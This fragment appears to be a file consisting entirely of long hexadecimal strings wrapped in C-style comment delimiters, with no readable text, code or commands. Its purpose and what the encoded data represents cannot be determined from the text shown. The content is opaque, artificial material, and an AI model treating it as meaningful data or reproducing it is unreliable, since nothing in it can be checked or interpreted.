90332c4a0545e09374f35239c7e1278cc7dd6ebd50db9f69fffbc5380f2ff1d8cc411e03e6949ba5fa870c75a69fab18e509dc0da315f6d7f3989f868d0a87aded7260cb641e5bbe452c1940647326d14a1559e4c1e381c6b106946d89d15a211efdef3299377f900e04343fb3e3cc042ded6763897d67886af0585048cf7c53dcf071efeb88353bcc8ce2ef24574de576df5163f5b7b0d19e048d185c3756cd6d31782d5875b72d60b3d2e9ab1bd3c1c195f7355ec4ed901c7d0b0eb0eeaadcd94d72b28bb81450bbc04eeded1c39c496d00de3cf4fc5431cf70f66ed626521233667dcf18bbf1559b08b0c6065f2f68758c74731b450dbc049c18fd188af6d0fe802261a4225a47ab9952d33d10185a986e8b195c901b5dad421f533dff16cafa82c7704aa360d5fb9fdc67472ac919d9a2d8fe45fe0076cd9c486f914fbecd5ffd93b5e5115eb3f55eb13c67579cbf9a846fd47f4cc8d9350efe4c387b604f115b880acba4372606577e0a6347b5cc53f2be65bb5aa9f032ea5b5a7702fbfe876932399881556a7057679cf2db85bf3340531c5e58c6eab159af73128030405d4b88896a590cb935dad4bc6adea2daa380e2844c0adce2a997028a0912a985da88875160e287d0ba3c942409ceedde7491280e9833ec2503428df18f35900a0c3c0eae69af3b1ac889fe28b0e33a55b0a7ff34e1510761b525bb2412710967d57357354713c3c80f7b21feb159beba522371cc1a7a5e1c57e885e9861b55b8ebb1f1df0332acf55f4e26d118592f7b1feb7b6c6f79bf7ab2aebe9acaad9ea8abcddfd5547dbe21f3548c46d5c0ad354447044faf0975940990bc0abf3c925c9668bff4f80e1b239b6937f9be6566654f1f9c7696a1b8da48575b98208c7dbd1079f4fa94f1a928c37b59342c5403d0968667b28d7662b68c06a25468e1d1d705413bd42dd2a0d0fb06712e02d12596673c3885329e19c1cdc512c1f6b6a5b35664ee69ceb46642a01973bd5dcdfa77ab64f5414aafd2331df67d357e32a9c43ced0e434f5dd4f96e521e166f841665ac6eb564a9d7abf9563508307b3139fcf6d8a26425218d1ff8867c694deac6913b4053c066bc7a1cf1d11fba063bb245ae6472a9a965226683c8cff3ba10201d04e6e44dcd05df3aa70b52e9a3ba99ac5d0c0c133e8bfaa820bf7f1291c77712a1fd74b250034f809bb385f9fde4a30468932b0d925955e99817cd037c90e0f01d0fd3c20293ecaced7a1a2aa97a3ee7dc490ac8ba7b0d2d5f672aa0d8fe8262b388bd218057c21b14a618bfa4f208673cad4939be93349d1f91baa90ff8cbefcf9a932586fb4b3756215c97b291258eb97804e23ea59042de8198b32b2b1a34dfbf31ef2e8ed78d20c4b27eab81dc308a747fa45a183c3d0d9fee1db6550858482a873178bf317b06db55264f8c0e2b0ed10f45852a34348b82fdeca64e9c395e81cf4301debfc6aaf430c07*/
/*c16ab224e6006cc52fc74fe139b59b26ae98472f0053f953681e8a407f54f238321b941985a48639e6c4f6f90f78dc781cc644ec92a9eafef79f57c685713ac0d56438402a4fbda55ceea43fc03f5afdfe9c76f64d984de6766626022a504899e0ede5c9145d74f41ae0e745e908c08016dcc0cb1fd0f40b1c6cfce589995d3c341bb79ebd2dcc2ac347df2858bc26e0178a66171e466a29d060809ebe8f77eee9e4c740ba0bc92c666b1bfb59e74946dd1e6f849c8a8db200841ee8a25305ebd9a2e07f9be03908bcddaeb1eb92ae2c9213a3e52eefb74fb5c115e61ea11c8e6a6f959a42524e9e219865caef26959927379e2919cd74132d78adb041884a93bcc1289dc95fa3272d6418d80fbe90c0381df988c7fb430c1e7c2766738093c630a844bb0542cc0e65a5f0eb0e9b4b85a638bf332418d71b5ec57f43e2b4f7746ced95bf60914b1091a93b3c5de0bff7bda1f460c077445bdbc4d72f2508b4df2d3358858fd636832167d49b5485e3794dcecd829ab5abb974f46e2c0b529e5ad97f1123e41fc23ce99e9ee049d685e594589d5fbd54b7348f869d3174e179648828def630c77da59abd58e9b58ae7cada5015765f12827f8bd2389095aeb22aca596c2ec788ad8deead0982d0f51dc2390b9fb3c45a6d0ca57c53b4cd74e1876b339707722d89de3e11128da802a2af1f9ed5cb00af37ff694a072047ec0699392c21a8f8701ae00f17dafee6101c275ed229de2fbebac72569b0dab6464a7350eedd9ef4b1e1939337332f2d78370c4cee27bc76d4e9cf5a205be5c6199757850bcd5a8e57d2e85ed4dc5f896761e690ff6ecefee13bed6db45dc0729e930d2428c25f6e89ad08dc9920b97f88310adcd771d4a040f285c85f7179808da36e798d0d3ae74eea42680e59485c20d9672492043161fc3dce22545e4375e533845d6652801f70ea7137e5f7983436a773fd083067c53f1f33f9cd2a3390f81f9b243e25ec8791e6baf031d6bfbf884c4188e698e69f0a59bb835c67d179a7299a2a285d943a727ad49be7aacc718785bf26348d8e3a228b9fae8b954e45e6c341eb330b1a2280cd29a59d8018394618882206d360d4bab415a3751be01e0c602375097d356132eef4ed0e02f185cee30b3eb2ea99453dc102d1f9edb33db876dce3c7fee69534d05097757500aba0c241ad8a5825cc950a3afd95af189ab47e07cd6092bbb5c50b4d5f2f307c7c28b2f933b5021703aec51ea8a8a468e454936458464e533796049388c3c3f6ffb3174e145d2bf432a32cf0cb2ead6e6346c9c02b04e82550104b99809389e05e56b606dda35d1fa398c18bb6d4e5cbcadfb297b7321823833d49eb91445a81d5d7ae18ac916ed71f85c001389b801cd0b708977e32a15e42aee212d0aebe53fba45c577e6439f893aa42888926e92335cca7b6dfabf18ac53d592b001e6cfcc2637d1ba91d49bf0c3f33c6509c762e39071e5e6c9e9849ba13e548a1f1b082001ebb8a9364f7b036154c0a60e58868cb1360f97abfcac6982a823d5102e86a14cc9cc6ddaa9f3eb56556e48527c8039e785e2fd47bc7f100442ce63d84dd5031c9dd2b0b21dc7870d68aa26d513d5bc7b2ddd5f3d801713b2207b1c0dc2dbf9b31bb70152b962941a9882a13a7abb465ab04daa560a85f1b510bc0dd61f92f3d95b12fdf8d0594c255101d3c414acaf52f20d617c58534ab2aa40d373e952b1a51a9f6f43b152e94d1548aad1402f4be3d7c70a2c61cf6fa1e40ea3707f22b69c2779f863c1bc94c2dba0690e26d78aad5264533caae841ae8330edeb3af766a9525d25166f08b0ac4419595b96a46dc2611ab228ae037058714dcc98fbfd267a12d8a0774059cc4f7a19dfef573c35eb8960f6af200efe167f8ad19b4d7469d220e7f2f36051f16f1c4d979208e0cdabef4fc1dffb55f7a5ef65c63cf828c5f504aad202cc93541b887c76e7d1b1e40bdd55ff87db9f8bf54d9843a406aecdf42e8d621a8643ff5237ce63781cf2f687bdd279598af3c9ce939456d089d85d4aeb56e529b6dc2ce1b96bfc471a88b33264bb8126d4c85f21cdcbdccbad7daa57c5158ecbd6aa7f7f76d9c7d2257d0529542ed92999f9fd814b8669b5a60ca451e1bdb12e8f6e4774421062bd20c77e9b47fef191d42ac77bcfccf4e39ac6332c87615c047e7099d28a4f01fccc97e274cfb3175600f2dbdd9d7da056aef2e758348283fae8b262b40406f5ffaa8e7b77b004d5860b33dba6de40454b514c1a6dc84663d016c8fa2a59cf99907b7a331ac8b3ce52c4c8fadbf6798708373872204f169698ea70a4dd862ee25b1cf068f440be6fccd758f3c873a1ea243edd39b20b08a0f8d4a234ed07dd46bf54c91bb7b641089f09340b06fe257c4d44aebbba5e7530af0119a87dde0eb79b29a600da1c415efb126ab07fd63b5fd33f17a41f3c38d93b35e5a925572e5babb8cf58f65865d8288cc62f346fe8b7fff3796241bcac723bc05ccd78634b0afe91e64b3cdaaa2a4cb135dbff2e4a4d15478744c26c25d521d15349b694f3b614d367e54354bcd706b988148d2acc8059b1bd46587f6a75206519ae6c6893fcfac63418520cb56a75b0c39a78e07c799118b07395db491d84d48682624e93d836421d20de490ddd3004301dbf3efbb634fa417b5331ffad69f6bc119cf8784eba18f619c47006437c0a8e76907d8b8473944d68f216b8569d57b250592c4d9ebe13a2b026cbd8652742c7a27cf90524cf1a14d9b204a4536b185eab8ad165b33b165c28c105082e01a359ab4fe9576934f5fec6d454b67*/
/*aab23a824f13cc18648d1ee00fa4923ff349d5b4fed27f7539c3b411ddc9ff781d95086fe1e27854bb1b4ffb61d74a457ad09655563c365775bea939ecd7f4c430cbe5c7827001fbe3ea81c6bfb0cce7c5c44d0863c8006509bdba414e0d05f7d4001ca714d0f18068374bf80d9be517f43f44ea13ea13fc551dacef5c6e4dbfd155b6fb22a1007acc236b9a098cd1b85c571622f23f95de4c2597f11a206b015af7e634c4036e9ac391399805a649fc789c4a7a5f72131918cc37e0eb29ebb718c98fb86c1beee907b72f6c38a5ba4b7a4331ced144744ecf221d36a368c5dfa79b699a1e515123ec8f29e38287847fc4a9dfba6a8672d2e3e1ede45389a6e6e864b5b98c3a3217d93fbe25cc46d6cc506d8ab6e50f2b89443a3046c0452df8ee8350eb885b741da155dfd16de2a5760f80028be964a1bd5f2eb50452b18956e2b334212eab708490ca3d9716b3b2b34023c12b562168f086620e7ecc64283ed33b12e74e70294ca3ac9fab2a0d05bfc72d8f1abcc45d7f1a9c6e5c382c4f53415c59d0a6c9dc5feb1db55d6cb02c3b62b40e21718efb228ee41834bfb36dede4a0651ef0c2242262ec04ff19e3376966fc8c7368191c64fbfaba0017b19c51effe6ce968b80a61056153b23f8fa52933899447ab9bb4247b712e1cb57f9b609f57b73288c427aa7d7478e53c5934bf38991250bf970e2ac173754ae081ff347f3c72e5d82eb0b6090559fdfbbf6dc54237d27e7929aadfc4f4c4dc84ae5647264163f040821cc37afc859690e64382d36e0ecc1703b42eea5ad7ac9ecb99109c453c6f2b7bb257928a9e6cc6db54ca1bd0465c9aecdee191b986c4c156bb44d2665d5c00a51fbfad5b873416ace6ee16dccdda38a9b78f13d7f4b8959e01c3c5f7db3667a59883bd8efaf18db71f75e7f995ea5449c78b343f0d960948f18f85202e6b26fe8a4382943dc09acc45650294ec0dcd51f85236d3c933697a6f10b1e7b1e777d1b548c1cc877245f86a696596a9f896f8fb0a8f57f1a7f56e0cdfd126662d2ab5c4190861f5ea8e95da57a429b360a74c4a3b99faf1c4ec8b97397f5be037cef2f5920cd4fe2a9ad9feab21e029a03da229f848a614cedddafb778f2bcca5b0f0477000fa2c9af39e97f3081e31fcf8a4208fd590ce0184d245a15b56eb9050ffbb44a6f3db4ef4f135f490cffbb3d7f07762fad4d2b0e9bad7e2b866d4f7824e666877a71404551cac194801eb212237f26d387bb46feede9ce224e2cd06e4bb11307b019e44e9a66405148dbd00819cc2677eaa3c3f04e2c0f8bed4b21386c5e0c233f5606d50bff15bea2011a5327711291d22a857de44c70236428d990b91a824d04f14d348d7232f4b6aca0a1f355d154b95ca26aafb375afa3140c222140b9ce1fd41ddf1781b73ce1b6ee8399b1562f5d4db13debab18a4e33f8da243d0ce9c2e23fd056064086d2ddd0670de5cab99edda38e3d54f185bb53698f2e560516f30ae0675169d84b11e8b88e3e1f332a30cdea47d3e06086030b3fa0e16dbe586e87394235fade8f07dd56108989da5b421ca076d3186c9edee7a4d845d2558928cd6cf6f41c50a25439894afc893f8949a581c401923f1a72b4feb8e58bd535bb2afeb1beb315c53876192d57f78eb545892b6d93aa8c110b90b184c97ceff3807f5af3483b692c7fdd610de5a7161262bc0790b868960403780dacac106f7aa89d55068eaa38cb065e52df6c3d32c87ec3a77164104690dd539a2541fa73046d7ab226ba42964f73a5b60bc636b368bdf7e5f6977ad2ed44d8af39910a5f4e7b317c5f4433db1625cd38dc761b6ab845980eea3d9f29dcc93e93f1ffe5a356b772c00f2d637b34fb70c2ef9d2dffd8b6db9d087cf55d1307d40123030a7b6d2a27281fe14563aa28885da2ed89ad8fc81830f8e57453cf13f81dd4c529e210cf08b217466cad9416dc9f7f54abaabc61576ce3050379ef158687bbb964b51d1d5398b0be545baf9f19e7654e52938cd40f3a7242819363927f7ddb7ad04935138d9517d73ada2122cc19c5a100a57346773d866fc83c2ef0fbbc0899e97b7c484158d2ff40f7abeabf94c4f8000d0a134aa5e1dbfe77e4317b82fb3e8ab960102e8287f6e02fc0d6d0490adf4b19a8891ab4343706d726c0c7d7b6d328268c6d0667b2ebfcb6f999769d206b48c34d59efac6bc3d1d1ebb43e58659e85c4ed3722c5594343dbc3a25cc248e03802b6cb2330cf67dc883310cb4266f989284ed553c1b9e155288d3b2453251da432f3e675b73cfb0754e573164abbdb58c224c8d7e4f1cb7218d84a0d155a1add37b66236b533aa6c779469a463dc8ca961c8128214a6e9621a3ce968c6479f79908c981a0e2f4a952cc33a21b80b00cd351d13a699f47c6830d93b97f3a00518ec7a905f88c645b5df0e66f6626ba5f743bb3c6694a79a3af8258ba7418646911f6ef1d06fc67005ba4a6d07602c218f7d6f9e2cadb1164e5677efa75c414e957d20c69c0d1b71fdb01b3728f8573e5e4dafb04c1f7e61275439b70ebd5fe0d5c5b52ee447420c317e06e9a6a554b47d30c9e0d7b6ecbbf68de3d6072bb443e77200636c4a3a3755d012a76b396de22f4825ee864e6cfba75b62426416b1e5999f03aa72613933d56758e1dfe890a1ec38aa28ed465126bec00f183fc413d9fe5bd8d9a8b5f6f3cb78a7c4f657c5d307d8e34884945db0aeb48affb42477621ea4a1abe3c0afe36bad771cbe0954da32a53a48da27aeeaddbcffb914e5c6f9117590d6aaa8b53273d10aee87524d7817f35bfb32b544170d9352*/
/*77e622f637b06bc070bfad15f22ee559cd53bb2d85ba7b224b5f02af570db7436c407ca02ae6e9e66a953b6953e2ee8f8fa1aa106316f1e99eafb73f8e21c311ce5273702107aaadc0f5e9f9c0bd27427ca2f6c28bbbd24082b5d5878b262ee0672cc11ddfebd5da20baf1565ade7ba0ec7ecee8894d46e9c00304efd4263e39399ec2da825b8297027af424c952fd27e2f343cd847cdc803566d121513f17120bc1be4ff85938abb32f334905b1900ef105a52ca55a3041af5da26eebb805a73fdd55c2efe9647848cc96d17c6648aef1ba9e67d8847ea760f24f3eb6154bb6d15a32e39f9214a5c0042956a998471bf876816149c890ea275587dc322d3e1b8a969415dc46f5053b5c037aa1b6246ea867ef4f83907aa3f7614b0e3caffe8c03104ce72d43562bd8c1bf8d8d4d1aafae02e0e4c53c46a8e83019da672a53d25fc9b1d262d562d017b7965bc8d239ddc23832737f9c9f9e87e00f6eeb18dd592052de7599e8b3140a245cf6353d352504e58548cecfb758e55fde863074791fb6b14f51e6d8c7ed2a08e75eddb1aedc0480e8eb0b8081118b29005de4012655970c5a0f173d5a2165ca7e7ff5eb54e8e0c437e8829337b8184c053e95fe32fb4c6189e3af4fd13d3c5bdb5d0d7dcdb9a48c234ff3f051ad1e090dbc6271190abe5320fbc2a4d109ea68bd364b5008da0665914c01ebf1f1c24894695bdfb15c07041f0775f56c6f60f40674d1316c98b567906ce679bac36e649445caf9487959f0f816b2e793c63f52f7f70ec674330e1517166a8878893f41eefa95c7623d45a67ab154bd33664afc1f4dfcfed4573907e23e16a97849b5ce8d359784100dfa1c777139501fa4876af40ba68c8296a7239981a19022653506a24b13571b1b80c6a4b7e7538a58fd6f8987ae883a04cb2559f74fe6acbde2ef00ea7847bf00e9f397045482d2d9b4773dfebcedaa4d31715650f49548b11b27873bc4435df2d792cc516db7e54c3b8fa14681e68d18ef7b6924ea1842d6849a23904a6ea789d3941d4fefff37abf535b8ac8aa4c8289f36c5c639aa7db06dbb621745a7c6b154486a6dc249798f072831e2e2980c1a97ed433b29e20c2e4e888aea1f3251120d3b7bc9242ed4aa0d71d3212132c87a733c3f52e59646fdb8d630e50773edb23930d0854ced0fefed2ab5f53102218d77e96db0b079c79285f18463a38ac89dc9ac084e981958d31f4ef28feab3f1fa3d4dc181255f8ce0c1bcd5a26df87ad732148e3c4491b8e831c4ea26039a6eded0c802bf4941ec6229381994e1e59115ec799693a427dd7051e37722e099bcb59f989081e38a3c8b89109a4d3c35f9c2816e1016c79c3f55ae1b2b697e343970cd0c0a5758cb0484ef5fde741ee82133d614add78492773dea8db64076799b4baefe0847c0bdaffd6b5817593719759d1622f00a8468cc38e0508cde7a5d0b9c717f827281c4e380404a4492e0f8c2d5d94cb76651cf40accce8929903042ca66ebff80a67bc638c6b50b4dc1ef22ea140ff0efd7bdbe6ff40572c6936d31cfbb4d685f355854eb2f6c217bebc731c47436c657e612fb57fb08643ae7d49c8b90fcbca9c68936e3e800f82774ddef00cc7ba9dd9a2f294219c3b841a6a323c4688b376163b7bc46a8ec8d669e89fe25eb2e862e6d5426c69fde65a39b7076bd9100d6e6fd83123631f993779a8e5c4debe3b23641d2d0df06480ab24d1db36ff586fe9240802d867048228e59ecb78c4bf550f0deb836859fe9270553c5887316bcb46115cd7cd58f3e647f15f5857a0c314c1a68f398670ed5955c955ab1f4cb1596dbb9bd32a8416ee8baf4508b18ca48eeb13cb3aabfb41b18a325dbe149b94f6175cb3b27fd7e7c9046000835954bae92f4110c033f7d3ee80f2d2753550fb42271e1a34e9a99dabc3b20c610a5b462410686238f98f1bee8933e371a37f74c0de05aaf4fac857942591561659dbf232a930d3a3e183986002379e097e64f2a2d57192b6b605fd83ee5ac74dfd56d27741c8bdb22904f759dca5874f196c2ad60d6cee3f1f3326e4d0aa59cb70b9d89c208ce4e2339ab0cb3dcd54e74900a5835b8aac484992e1fe118f96a245b604e1e9f7e286bf6ce488c4d82b51b769671a85818673f813d21562595a1e8543fa3384c7526273c1569fe7b7c1fffb74d22f6696003d89df064be89df3b3e3540bc40b9c06e20b8a890306146f6aefd1bf7306406ff9ee1b8d77e06ce5904dfabd39bd87604472c6f7adeb9a57cea8acdfdea63de46911d83a70ff19e88aa9e977dad1466f960f4ad9d07ed3d7867b8fb552eaa0b07e24df52cd90af91647921bf044d3069fe8161a142ab8992946b7e3c124271d88c1003cf851dc40cb1142f96907872a116e43b869d31f0e1279cd61bedc33d3a95adad62f8ed853f7260f41cd65bb68e7cff53b1197601e073c573647495ef14d4d29c80856bbbc3f8dad3b4c92873a6e671d4651722db7b8fa69c4d419a56807aec48186b84868470ce0c7af7f042abf5e37549a90e0525b7efbe2143c30b5a78b174159ab7a056a35967e530f79c2535eeed18e193fb7cb17627b310dafd2dc91ce2efc2ae0514f6df2600f3bd84e2a281a751cb02296ea025d7d6eb3fe5287f01411128bec484cd679849d3d9a61ae1c042d84fa4f8379ef84b42bf437c018531263fc99a076c78cc94a139f07f2ee88b23189400fff1a1d976ed493eef8ce72bdf996f2e06149a4a0d611498663eaaa9ec269d0eda1cdc9f12a89f0fc6d27bf72c50dad66e45374b5dbd0f41214b78799837aa1e6c3ef23362*/
/*3ccdeaa04d07e1402a55a4f1ad73b112cf668328ffa2ad21cb2d3c7a6a9929306f9e3033e1edb8bd5b946ebeed973bca5a791478b567b59396f6b7c25378cad52ac146c4b545de28586f637031785df3fde1b39580598bf86d92867780bc94bfe6ca2158e05331292c4a7a648b9440ed8e258dade2d48611dfe0d3fed19b9aaa45b13a94f10302fe803bfa16d9842e9d96e0a256d46a09404433654db038f21311d1fcb6b5d42d79539202b1fe7ff4fcf882dc7b58f4da4a019cae0b4c958b7388cbe7d97a0a665723726cb0a99910fd2119a9798d425c7ffcf9525695a8611818f39198034eef4b5f015fa29383a5448227eda232eb03659c903d228b478358436f330d17cc775dfb0e52b8a57267ce695dfac79d7151bd06385cf4095b12f027299f67d1dd14e11fc0f16614a360d11a2dfa683038854ac07d75779100d65bb2000a07d4ff0e41dcdc841263ac874b37e4806e9dc9cac5dfb40e103533cca2f6ccf159c8c750ba3a72f03cb9d0314433907ae9b395f0924d1b3fe0047d7cabb73fafc65f5f779ad96a6365b6872355ef018fe71e5bbc1cd838d44ebc9f538aecb151140ac51e869b7b5269e0947d935e901f5ca212886709ab45b0e07922310364b28d529799689aa7a647df9a874d9a9f5c12977a702df04cc5005f35ef8fa5730a552ce20b3ebfd53dac5137bba706e9d6a235d75820fd64f07c913800bcb5c45d3ed2b076d41359680158ed0471f313b733bb070725d57d94fdee74744b8e2cef8339263e78c905cc4b4bf0cedf3dc36f5dd2a5a5f6f13125fc50b3af8d6eed47bf5234771f127361901e84b6deb6a7549e43777dd38fbabd55dddd9dbcb6aeb9b40342be28392551cef4bd411a92d9c62e10f89e1a6f53ac8c3faf814cdb5f073a20bd6e033152ce6675581c0f2293e81d6e4543159d8f3fb87027b52479f6cb7315b2285a73cf0580835e8dd29d39b1a60fc365354a625e79f946a4d7e511c44ddb651c2eb04341d38d466fedb3b6e8c9eab1833b5b7a0cb3b1f7a34387eb1fbe96d9f812c1930a5cce6363493cbb7af4e01808eaeb5b25883e1475cb248ba37bcdbad34b3a2565fcf3c61798e88b062b811baa0fd0d34dd85ea6f92f0d0d434c7512492f39ff9a99b21183db3a427ad7e8c826dba1606e3740b3d3284e1254afa1f3606116ed33a645cc8eeb48eda5e11803f90b2b891823397276e61d8eebb085ede29474b1c9e06f3b6189fbff2e226d45805631080263533102af8a6d178b2721fedd5696b848f5cef750421ccd61f1161c02bd2d346225b4bfc885b7056795a77e102b1980142c4335615a0d336c7cec26e0ec9f23f8e1474282480f414c8bedf6a2e668589590aa6605e89586dd2cedc32323693a3a80019b2e9f642a34653583e0eed9aefb6a9b2a22fb87aa4f89c4399ea8c818d50955c16d910d71a5bf3d4d0035a88d62e44f1654e4e92665f5a2f0c40a07965a7f335674a06f77daf06a26eba54daabc904078cef6763cd71de77f5b078e98ec9b5ae7bdd1b5f2e0ceac1c6b6a16f08294254e4b0e6349e08735940fba715c528262ca04f1b16786b7530a1db9b64c1187d8654699ac934a948fa892cd0f6cb2955a4044a19ed989d96c761a5904f70781040ff2263af34b387e7e573bbbd7f2e55798ed7d49779036c3719feaf73c9606b664cab2e5244a2d6cada46c435ee215750d797861732b1386d7e8b00640220065e026984aa36faa49e59bbed25c7354d120c5677541416b3efd656af7af19566ee769d87df292a61bf8dae1dcc2ebcc23cd7fc98d1e9aeeba93f33f1d8e07c6c189eb410607f7c4a354e751eafcad6f7fbeb42ac5450f31dc0489575c3377be390a4d8322d0460d36e09638fc59eee14c36e2a2bd6236ec0223c9345e29b9bc11b65d777e18fd55ff0be312396f3045368a0da6ea790b57d14810722003c55f75b6ddd92afd827ae9b252d737c58227abb3c8ce7ebb141fa5462e7464daa050966edb3f5c0d88cb0cfad84a0dc62ed6fc49144b6755ca91ff7d428db00e8f7f05f058d78332e02c98748f198b407a940448dd0798f8aa09d6ea586fedbe5c58fa181077ae01d05c3277af8dedffdf58f7b642b5b0e03afc96cca993024339a73c8f4cde69e882be58110cf5e6d4339f90f134b0c1010fcc16dc156bde378aa8c79f780c008e61476c9b723de2e0104556f5569a26b91c52714e7bcc87308051175fc968c67c7538f8bc1069b961ae33c0efd15fe213df5ce5b4ff7a6f567d53541a809f6c54b3773fe30f45d21e78e4311196164daff2bf52388a75e30f0d057781ab355f5043555a6ed13a86151a6c5bb22e06186ffea8884aaad87b36979022f0f82768a3bd519e8522fa2c5333ea79ce934a6485f641db87e8b610bb436fbaf54a4f8dfb0bd0ebc1fe725e63504c7d91b26ef52e11c40dc42fad470c9d3120428f0d8a6615d092b635721f2754d1ac5f7720246d6f8578f517a25a36e7aaf71f8437d123db9b97d32348bc595a80f0754dfe9d4c3da4a2cd28041cea30dc12028b9d68009e7a3078be3be538b21946ca835d7ec599ee63740c8f21498a71993580a25030e49eea156f397b83a37088494730aeff36b26bd6d4549a3d366d4e6177ed0e8d23d9159a6b444b4935f53b33a29983ef35ce15f93a5e60dca97917fdf2d53f48313016eba08f49642d5f57737e0ebeb7c7e0f39e30f58588bcdd1a38583bdd048be48c9a7c68151b8828d1792c48a628d54533b97b45cf0647e664b53beb5cfbded92bfc7e5232d043100946ea639e44bfa210f265f6e91531edfe3e0b*/
/*fba9aca8c2b1a53c6249c8a01267bf0b98ab11607ddfbbff750042a770ef5bf0d5a03389675aae1ba08a4a115b33a8a6763d27b6d784d3a267c4dcb7878fd3b87b14714ec2580eb5537bc81e7fbc7145c800a91eecd07e2ae292b33a2cc70ef75b8938e12c7b373bdeca853ac6c6ffe8a1fd377183a251317d7439538885bbf2dc64bb23c70306a3b65a9a04a1114bb1a10963489c2e7ba2db2b75a53c159a9fc52c6bcfd82f4b07180e2339b03262e642ca0b2d26ea24ae848dffb08ffcbca52488020190cc6263ae2977cd7f3d4b3c04fdfb31a47c22097f7459bbbe516911443a837bc68786a392d2994cfaf298604636c14c0becfd7056f56b4773e659bb5ef9b57c475485795f5b2eefe3920f0a4efcb8d3f07bdf7358211084f531b6c779fc5603fe0d8c0089a7fbaf631518ceb04b3170039596c26df69e3184ae67f37eeb6b7840d519de5a90e16a3845c79fcc797e19822c531bbe63586a4dd19bc9547fedb3331b24b04b0acbf32034dc5be8b65fa3df19e2aae6fd6842dcde2a4f3cc9aebd2e94beb01ac532b2b09c1488de9eed7f6f91b221aa1ccdf4cf541dd1bc215ff5e6525772fab8188b03b553e289ced5220d3dbaa57185fba937dfc22a5fb70c88ff9b6352aa548354ae2e7d402f475eb2db7d3c6705bb9a4d38f1aa5dfd1bfc1faf4de64668b9f610c1e7abc7d3bdd53cc5f477ace2ce75df9ab8bd7bd9a45afdb8a8011c22b2103d166d753c69c4726118269c655c216ab8d6405e19a51d1d0d82e8bd4327dbd0a359985db468824da23da0c518d04606d02036741b47725dc802e36902a2d37791b5ab74e0ad7336ebb895285e463ae2eb5a93b4b4600d91091ebaade20d033b7e13f0fba1c417a4fc1498e84ad0023f76c209471763ff9ef6962c7cba6d22956d6188ac02028c3293151ea966912dc1b2db40b05e3a585883aa8c277a6438a1ce0ee291c8327db0a03f53cf100a31b8834b50cbe0c9a2be61487c37995958cbdc6ef74f245b3328e6f4767539deba3d1d0894fe896a525f3a2c60155eb2fc28b7c78eecf80cc7a338d41e7b0ea308e878e718b0f09ba292b979d613e6ed26f6dda49e8504154504144ddff729b3015bada7f6161082559f8062d9b3cbea28a463661220b3a7c7f47622a03f1cd77bb464603a70bb9aec0831b56475f94f580adbbb86194e14c9d651e02bbeb5b67af06e4876e3228d7642584ec7908a5d936c0d6e7ba3ac91369ca575e1edc1c673ca0871878757e669e3d6c7cf6734b007013e939208c5844096e8d81196c8c8a579ff6be251e986a1ce919400b3bfa1ab863a89c8e1ff177fd7f4553c86d0cf4a40bec8d1d5cba6955b878bbf46ebb2cb3557326e693a2b3b23ea202542c00f58e81a3c61206784747103bb1748f7aae1b7c3c695c41ff2eaee49a7014d363d75d3caf9568ba6df8006daeaaeb3294630e88478040481ce29a525889af0b3efa1175c45fc18e6307a65cbbf6a9ff05356fa18727f442c7be2b7382bc0958bae812863b92fdf9218381e5b918f257b6981dc0f4e518d5dd6d058faaeba03bb36931680c091d86a7e5fe1f3163f98cd7218111e19d6213c2de51b9a424495533d8800b7467942345cbec328580e4c50a8c611ad3bc7443ed2b127fda2260d084a2e244e8a8b5f971f7725f05f8ff64aaff31787c2d4d576c580d708a5dc7b326beaa02f1526417873e2812b305efdd42ddc567996b72e1dc6e9f26be4085f2512452190c1a1b5535468b0fda91cf5388f1bd5a318bb75fd7a5f34d8c61f341b473f06376dc06cb5994479b8a8493957eef605e78199c7ddd3f9d8117360fc5ae2688eea6e07b6f842ab3d7790c95c94998dbce310a49fada9990a4a1c3d632757ca76f4b4545f7797e1f0b25e929e3117616c40d1a4290c868f351534333fb6cfc37df329df0b44ee6e0eb890abd7b253e8049f1d0f87ec38b94d868010823e8141f9d1bfd22591753646cbb6330734324c8d828c780b25a31141f82e40789c2b6d26eca37b9061b534c4de739a3c378f2bd115580d36506adbd1ea0846e372723deea819c8e54120c42ec792b72dae9fdbc35bb53513b12f406e65f682628dc2ac05339ef843f6de841643303174064c70512c94336c913277c91ebf935de31ba7194811c89bd6bff61de07baeb5bea491b0c9af283df61fd98362ddfc8ea1b5321a0d6bbf04c3c45bc615b97bf1e274892dd2cfcc4d94e33201d8037f536357e6f9b85dbdf0d14150eff5674c68e4f89298be7f8263bba8e374423a6cb3f6130f8b371458c421492af42efde550f887d2f755d1192045450594a1110a366ead7714b652eb2c5e91c49cdb0ea7158f0675a23577bcda8599fbc89fb718d69b7eac68f971cf7a1aab76b5352fc3b36253d2f5b2b39b39bccbe9eb96f36483602ccea218c4d92c22455494db1bffb9d966a79e75665ae2b5906b84dedb6225a1fa097d305a864a8cbd6b75832b0e9871101f581a36d67fb3f006898e685162bf94d655f225afb126aa9650836b970e258cdbf78f74e48b20d7c7ec1c8f7be935bb1cd2cd059fc7b41dec7d8294ab6bbfb34ae49e40533f35fa294bf852033d0012c05bb422914f465e76ae106e49ee5c973ebe827ad9f67bae8d8ccb34a4aa57e5660e3fb6da150a19ea896fe084a12c1c0ec97e02ee09869fb9744073f15ad4d4fe84cde6ac954e66b6a141202d10e4c226a3d039717c50b332172cd1c7de7c8249f9c52be4b95c2adbb81ea7ebea3069d282461e61d6616933ac0dc86cc64b1331b264f2d48f3475011e227849c6129ea5f8ddb5a6213e*/
/*1ebfc805d39fe1f81c51384b88974a2ecf8b7c428bdd031e85858d16e49f63617e04bb7e29548d49a3c9e65f22a772bf13c6e1a0e190a5f26c7e353e5a4977877088ce77cb7f589f5963b08ebe05f0a410d05eee56312ae7da29f43bb26690906d1991f5d4ccebf3f5a791a10d40585b1c3fc4dd908865e170b9de0ced44a56a08bb677a13ad430da6adb4cdd8d7427663f3db3f64232bc5ff7161be39ced35bfc9f066ccc11d833ee5351c39863790b4f8072d69947703d51fd794033a3567b7cf6512762dce0408f6ee7cf8c58d10c328e2ee4b64687615da6234af0b675e4eb8bc1ba9d578270ab9a2b853c69ffe53590edb474277960b375def04c17782ddc8bc4de3a6181eed0ab2e796319f16da0ca1ab85fd7130aa12883fe2d4aea18642b16bcad57bc716184ac069a2e6860544121509f93fbf152a5443aa7f73e8ea0c377061c6f675a4eb7d467c58d92c3fd1191e99a5ca80f83a531c7b858bd95c6602200b690949ef78efbe50680f3f833294e05e263333acea5fbc79daf11c0c897a71e358de833ee61b7723581d16e1d3a9a1be6683d32c0b7b690abd1a60ec8e7be6f4b74aa06d196ca84a7037ff84a6b4a2d21c8aea350d8e4761f3272baa22856323bb5fd3600dc846ef